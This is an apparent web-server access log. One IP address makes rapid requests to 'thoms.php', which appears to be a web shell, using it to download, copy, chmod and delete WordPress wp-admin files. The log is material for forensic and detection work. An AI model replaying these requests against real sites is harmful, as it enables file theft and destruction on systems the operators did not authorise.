45.135.193.11 - - [11/Sep/2026:23:31:06 -0400] "GET /thoms.php?dl=user-edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=user-edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:06 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=admin.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=user-edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:06 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fcomment.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fcomment.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:06 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/tools.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fcomment.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:06 -0400] "GET /thoms.php?chmod=index.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:06 -0400] "GET /thoms.php?chmod=nav-menus.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=nav-menus.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21969 "https://163.245.207.76:443/thoms.php?chmod=index.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22285 "https://163.245.207.76:443/thoms.php?chmod=nav-menus.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:07 -0400] "GET /thoms.php?chmod=install-helper.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=install-helper.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:07 -0400] "GET /thoms.php?chmod=menu-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=menu-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=install-helper.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:07 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/site-health.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=menu-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:07 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/maint/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:07 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=setup-config.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=setup-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:07 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/admin.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=setup-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:07 -0400] "GET /thoms.php?dl=site-health.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=site-health.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:07 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/edit-comments.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:07 -0400] "GET /thoms.php?dl=admin-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=admin-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=site-health.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:07 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/ms-upgrade-network.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=admin-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:07 -0400] "GET /thoms.php?del=edit-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=edit-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=edit-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:07 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fpress-this.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fpress-this.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:07 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fexport.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fexport.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:07 -0400] "GET /thoms.php?del=site-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=site-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fpress-this.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22231 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fexport.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=site-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:08 -0400] "GET /thoms.php?dl=edit-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=edit-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=edit-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:08 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fedit-form-blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fedit-form-blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:08 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/menu-header.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:08 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fedit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fedit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:08 -0400] "GET /thoms.php?dl=export.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=export.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fedit-form-blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22230 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fedit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22237 "https://163.245.207.76:443/thoms.php?dl=export.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:08 -0400] "GET /thoms.php?del=nav-menus.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=nav-menus.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:08 -0400] "GET /thoms.php?chmod=admin-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=admin-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22285 "https://163.245.207.76:443/thoms.php?del=nav-menus.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:08 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fload-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fload-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=admin-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:08 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fcredits.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fcredits.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:08 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/edit-form-blocks.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22236 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fload-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fcredits.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:08 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/theme-install.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:09 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/admin-functions.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:09 -0400] "GET /thoms.php?dl=my-sites.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=my-sites.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:09 -0400] "GET /thoms.php?dl=import.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=import.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22272 "https://163.245.207.76:443/thoms.php?dl=my-sites.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:09 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=admin-ajax.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=admin-ajax.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=import.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22252 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=admin-ajax.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:09 -0400] "GET /thoms.php?dl=admin-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=admin-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=admin-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:09 -0400] "GET /thoms.php?dl=customize.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=customize.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:09 -0400] "GET /thoms.php?chmod=edit-form-advanced.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=edit-form-advanced.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22159 "https://163.245.207.76:443/thoms.php?dl=customize.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:09 -0400] "GET /thoms.php?dl=edit-link-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=edit-link-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=edit-form-advanced.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:09 -0400] "GET /thoms.php?del=ms-delete-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=ms-delete-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=edit-link-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?del=ms-delete-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:09 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fuser&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fuser&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
